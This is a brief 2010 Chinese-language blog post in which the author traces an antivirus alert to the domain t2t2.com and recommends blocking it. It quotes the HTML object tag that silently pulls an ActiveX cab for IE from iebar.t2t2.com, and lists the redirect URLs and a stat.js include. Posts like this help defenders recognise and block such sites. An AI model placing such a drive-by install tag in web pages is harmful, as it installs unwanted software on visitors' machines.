2010/12/17

病毒網站 t2t2.com

防毒程式攔截到一個網頁
追蹤到最後 出現這段 code, 會要求 IE 安裝一些東西...

<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>


其中經過:
ttp://iebar.t2t2.com/test1.htm

ttp://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24

ttp://stat.t2t2.com/log/log1.asp?default&user=xxx


原來是 網站 include 這 JavaScript 開始 ttp://stat.t2t2.com/stat.js

始作俑者 應該是 t2t2 這網站?

上 http://www.prchecker.info/check_page_rank.php 檢查 www.t2t2.com
PR竟然還有 4... ~_~"
這.....
因為很多人在幹樵這網站的關係?

google 的診斷:

http://www.google.com/safebrowsing/diagnostic?site=iebar.t2t2.com&hl=zh-TW


應該請MIS直接封殺這 Domain 比較安全!

沒有留言:

張貼留言